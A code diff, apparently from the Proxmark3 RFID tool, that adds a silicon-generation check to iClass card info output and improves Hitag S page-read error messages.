@ -31,4 +31,6 @@ int select_card_14443b_4(bool disconnect, iso14b_card_select_t *card);
|
||||||
|
|
||||||
int infoHF14B(bool verbose, bool do_aid_search);
|
int infoHF14B(bool verbose, bool do_aid_search);
|
||||||
int readHF14B(bool loop, bool verbose, bool read_plot);
|
int readHF14B(bool loop, bool verbose, bool read_plot);
|
||||||
|
bool HF14B_picopass_reader(bool verbose, bool info);
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|
|
@ -40,6 +40,7 @@
|
||||||
#include "crypto/asn1utils.h" // ASN1 decoder
|
#include "crypto/asn1utils.h" // ASN1 decoder
|
||||||
#include "preferences.h"
|
#include "preferences.h"
|
||||||
#include "generator.h"
|
#include "generator.h"
|
||||||
|
#include "cmdhf14b.h"
|
||||||
|
|
||||||
|
|
||||||
#define NUM_CSNS 9
|
#define NUM_CSNS 9
|
||||||
|
@ -5379,6 +5380,11 @@ int info_iclass(bool shallow_mod) {
|
||||||
uint8_t cardtype = get_mem_config(hdr);
|
uint8_t cardtype = get_mem_config(hdr);
|
||||||
PrintAndLogEx(SUCCESS, " Card type.... " _GREEN_("%s"), card_types[cardtype]);
|
PrintAndLogEx(SUCCESS, " Card type.... " _GREEN_("%s"), card_types[cardtype]);
|
||||||
|
|
||||||
|
if(HF14B_picopass_reader(false, false)){
|
||||||
|
PrintAndLogEx(SUCCESS, " Card chip.... "_YELLOW_("Old Silicon (14b support)"));
|
||||||
|
}else{
|
||||||
|
PrintAndLogEx(SUCCESS, " Card chip.... "_YELLOW_("NEW Silicon (No 14b support)"));
|
||||||
|
}
|
||||||
if (legacy) {
|
if (legacy) {
|
||||||
|
|
||||||
int res = PM3_ESOFT;
|
int res = PM3_ESOFT;
|
||||||
|
|
|
@ -248,6 +248,9 @@ static void print_error(int8_t reason) {
|
||||||
case -10:
|
case -10:
|
||||||
PrintAndLogEx(FAILED, "Write to page failed!");
|
PrintAndLogEx(FAILED, "Write to page failed!");
|
||||||
break;
|
break;
|
||||||
|
case -11:
|
||||||
|
PrintAndLogEx(FAILED, "Read page failed!");
|
||||||
|
break;
|
||||||
default:
|
default:
|
||||||
// PM3_REASON_UNKNOWN
|
// PM3_REASON_UNKNOWN
|
||||||
PrintAndLogEx(DEBUG, "DEBUG: Error - Hitag S failed");
|
PrintAndLogEx(DEBUG, "DEBUG: Error - Hitag S failed");
|
||||||
|
@ -427,8 +430,10 @@ static int CmdLFHitagSRead(const char *Cmd) {
|
||||||
PrintAndLogEx(NORMAL, "Key");
|
PrintAndLogEx(NORMAL, "Key");
|
||||||
} else
|
} else
|
||||||
PrintAndLogEx(NORMAL, "Data");
|
PrintAndLogEx(NORMAL, "Data");
|
||||||
} else
|
} else {
|
||||||
PrintAndLogEx(INFO, "%02u | -- -- -- -- | read failed reason: " _YELLOW_("%d"), page_addr, card->pages_reason[i]);
|
PrintAndLogEx(INFO, "% 3u | -- -- -- -- | .... | N/A | " NOLF, page_addr);
|
||||||
|
print_error(card->pages_reason[i]);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
PrintAndLogEx(INFO, "----+-------------+-------+------+------");
|
PrintAndLogEx(INFO, "----+-------------+-------+------+------");
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue